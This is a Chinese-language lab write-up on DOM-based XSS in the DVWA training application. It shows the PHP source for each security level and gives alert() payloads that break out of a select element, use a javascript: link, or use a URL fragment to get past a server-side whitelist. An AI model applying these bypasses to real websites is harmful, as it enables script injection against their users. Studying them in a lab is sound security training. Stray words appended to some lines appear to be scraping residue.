DOM型XSS是基於DOM文檔對象模型的一種漏洞javascript
經過 HTML DOM,樹中的全部節點都可經過 JavaScript 進行訪問。全部 HTML 元素(節點)都可被修改,也能夠建立或刪除節點。(引用W3C)php
由於能夠在DOM樹中植入js代碼,所以形成了XSS-DOM漏洞,因此DOM類型的XSS多是反射型也多是儲存型前端
Lowjava
<?php # No protections, anything goes ?>
沒有PHP代碼,直接看前端服務器
構造payloadxss
?default=<script>alert('xss')</script
成功執行ide
Medium函數
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
stripos函數 找查字符在字符串中第一次出現的位置測試
若是$default 出現<script,則默認?default=English編碼
咱們能夠用採用JavaScript僞協議
?default=</option></select><a href="javascript:alert('xss')">test</a>
High
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
switch語句選出了對應的結果(白名單),其餘的字符默認爲English
payload :
?default=English #<script>alert(/xss/)</script>
由於在URL欄中#以後的字符不會提交到服務器,就實現繞過白名單
Impossible
<?php # Don't need to do anything, protction handled on the client side ?>
不須要作任何事情,在客戶端處理保護
測試輸入 <script>alert('xss')</script>
被解釋URL編碼,從而防止js代碼執行